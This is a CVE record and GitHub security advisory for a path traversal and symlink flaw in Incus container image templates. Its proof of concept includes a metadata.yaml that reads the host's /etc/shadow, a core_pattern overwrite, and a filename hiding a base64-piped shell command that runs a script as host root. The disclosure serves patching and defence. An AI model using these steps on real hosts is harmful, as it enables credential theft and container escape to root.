{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Incus is a system container and virtual machine manager. Versions 6.21.0 and below allow a user with the ability to launch a container with a custom image (e.g a member of the \u2018incus\u2019 group) to use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write. This ultimately results in arbitrary command execution on the host. When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. This can also be exploited in IncusOS. A fix is planned for versions 6.0.6 and 6.21.0, but they have not been released at the time of publication."
    }
  ],
  "id": "CVE-2026-23954",
  "lastModified": "2026-01-22T22:16:20.833",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-22T22:16:20.833",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-7f67-crqm-jgh7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "last_affected": "6.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-22T20:26:10Z",
    "nvd_published_at": "2026-01-22T22:16:20Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA user with the ability to launch a container with a custom image (e.g a member of the \u2018incus\u2019 group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.\n\n### Details\nWhen using an image with a `metadata.yaml` containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following `metadata.yaml` snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:\n\n```\ntemplates:\n  /shadow:\n    when:\n      - start\n    template: ../../../../../../../../etc/shadow\n```\n\nAdditionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:\n\n```\ntemplates:\n /realroot/proc/sys/kernel/core_pattern:\n    when:\n      - start\n    template: core_pattern.tpl\n```\n\nWhere the container root filesystem contains a symbolic link named `/realroot` pointing to `/`. This will cause the contents of the template (from the normal \"templates\" directory in this case) to be written to the host root filesystem as root.\n\nThis can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting `/proc/sys/kernel/core_pattern`, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.\n\nThis vulnerability can be exploited by any user who can launch a new container with a custom image.\n\nExploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with `/tmp` mounted from the host (A privileged action for validation only).\n\n\n[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215\n[2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294\n\n### PoC\nA proof of concept script for the following can be found attached, named `template_arbitrary_write.sh`, which will show reading of a file from the host filesystem (`/etc/shadow`), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (`/template_arbitrary_write_cmd_exec_poc`).\n\nManual Reproduction steps:\n\n1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs\n2. Inside the unpacked root filesystem, create a symbolic link named \u2018realroot\u2019 (i.e `ln -s / rootfs/realroot`)\n3. Create a directory named \u201ctemplates\u201d alongside the rootfs directory. Include a file `core_pattern.tpl` containing `|/bin/sh -c \"%E\"`\n4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (`chmod +x rootfs/stage2`\n5. Create a `metadata.yaml` for this image. Sample listed below\n6. Create the image archive (`tar cf poc.tar *`) and import into incus (`incus image import poc.tar --alias poc`)\n7. Launch the newly imported image and obtain a shell (`incus launch poc poc --ephemeral; incus shell poc`)\n8. Observe that the file `/shadow` inside the container contains the contents of the `/etc/shadow` file from the host (host file read vulnerability)\n9. Compile `segfault.c` into a file named `x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh)`. This filename will be interpolated into the `%E` value set in the `core_pattern` by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs.\n10. Execute the compiled binary (e.g `/x*`). Observe the creation of the file `/template_arbitrary_write_cmd_exec_poc` on the host, containing the output of \u0027id\u0027 showing command execution by the host root user.\n\nsegfault.c:\n```\nint main() {\n    int *p = 0;\n    *p = 42;\n    return 0;\n}\n```\n\nstage2:\n```\n#!/bin/sh\nid \u003e /template_arbitrary_write_cmd_exec_poc\n```\n\nmetadata.yaml:\n```\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  architecture: amd64\n  description: Exploit\n  os: Exploit\n  release: Exploit 1.0\ntemplates:\n  /shadow:\n    when:\n      - start\n    template: ../../../../../../../../etc/shadow\n\n  /realroot/proc/sys/kernel/core_pattern:\n    when:\n      - start\n    template: core_pattern.tpl\n```\n\n### Impact\nA user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.\n\n### Attachments\n[template_arbitrary_write.sh](https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh)\n[templates_arbitrary_write.patch](https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch)",
  "id": "GHSA-7f67-crqm-jgh7",
  "modified": "2026-01-23T15:46:34Z",
  "published": "2026-01-22T20:26:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-7f67-crqm-jgh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23954"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus container image templating arbitrary host file read and write"
}